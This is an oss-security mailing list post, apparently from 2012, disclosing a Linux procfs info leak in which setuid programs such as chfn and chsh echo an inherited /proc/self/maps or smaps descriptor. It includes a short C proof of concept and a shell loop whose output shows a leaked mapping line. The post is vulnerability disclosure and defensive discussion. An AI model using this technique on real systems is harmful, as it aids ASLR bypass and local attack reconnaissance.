oss-sec mailing list archives

Re: Linux procfs infoleaks via self-read by a SUID/SGID program (was: CVE-2011-3637 Linux kernel: proc: fix Oops on invalid /proc/<pid>/maps access)


From: Djalal Harouni <tixxdz () opendz org>
Date: Thu, 9 Feb 2012 00:03:20 +0100

Hi Solar, Jason,

Nice one Jason, and I've also found this according to this tweet:
http://twitter.com/#!/tixxdz/status/165818331092365312

And the attached PoC that will leak a one line of the 'smaps' file.
(the same thing of 'maps', and you may read all the lines).

I Did not post it since it seems that there is a fundamental problem
about these protected procfs files.

I've some kernel patches which are not ready yet, I was planning to send
them to lkml and to the kernel-hardening lists to get feedback from the
kernel developers.

On Wed, Feb 08, 2012 at 02:12:58PM +0400, Solar Designer wrote:
On Wed, Feb 08, 2012 at 06:59:48AM +0100, Jason A. Donenfeld wrote:
Might be slightly offtopic,

On topic for this list (thank you for posting!), but not for the
original thread (I've changed the Subject, but kept the thread since
this is already in the thread).

but this is a possible info leak of maps for a suid program:

$ cat maps.c
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{

        int fd = open("/proc/self/maps", O_RDONLY);
        dup2(fd, 0);
        execl("/usr/bin/chsh", "chsh", NULL);
        return 0;
}

Nice.  I guess the same works for /proc/self/mem as well, including with
lseek().  Using this for more than just an ASLR bypass may be tricky -
I thing that same thing will not work for /proc/self/mem since it was
patched, after the execl() the fd will still referece the old
/proc/self/maps of the maps.c program, not the 'chsh' one.

BTW lseek() on seq files will only succeed on /proc/self/ files.

need to find a suitable program to abuse.  In fact, even the usefulness
of such an ASLR bypass is very limited since the invocation mode above
might not be the same as needed for another attack, and the address
space layout will change between the two execs.  (Not to mention that
ASLR is generally practical to bypass for local attacks anyway by simply
trying enough times, unless there's lockout.)

I guess it might be possible to get some implementation of chsh to print
an excerpt from /etc/shadow.  Luckily, on Owl we don't have chsh enabled
for non-root by default and we don't have a global /etc/shadow. ;-)
chsh which is a setuid on most of the distros will read stdin and print
errors to stderr, this is why it can be used as a target program, I did
not search but if there is another program then it may be our 'winner'.

BTW, what version of chsh did you test this with and what behavior do
you observe?  I was not able to get anything useful in this way out of
Owl's chsh (once enabled for non-root) - it just asks for the password,
but somehow fails to read it if one is entered on the tty (perhaps
there's some inconsistency in use of the tty vs. fd 0).  I suppose I'd
need to get past successful authentication for chsh's input to be
treated as the new shell name, in which case it'd get printed out (such
as in an error message) or/and put in /etc/passwd.
Using the attached quick written PoC, you can run this on a setuid 'chfn'
program:

Just set your user password to (without quotes):
"Locked:                0 kB"


$ for i in $(seq 460 480); \
  do ./procfs_leak_2 /usr/bin/chfn /proc/self/smaps $i; done
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: Changing the user information for tixxdz
Enter the new value, or press ENTER for the default
        Full Name: tixxdz
                Room Number [er]:       Work Phone []:  Home Phone []:
                chfn: invalid room number: '00608000-0060a000 rw-p
                00008000 08:01 218841
                /usr/bin/chfn'
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed


This was tested on Ubuntu, Debian default setuid 'chfn'.

You can do this to leak maps of libc... since the lseek() on /proc/self
will pass the ptrace_may_access() check.


Solar as I've said above I believe that there is a compilcated problem
about these files, should I discuss them here or just finish my patches
and try to discuss them on lkml ?

Thanks.

Alexander

-- 
tixxdz
http://opendz.org

Attachment: procfs_leak_2.c
Description:


Current thread: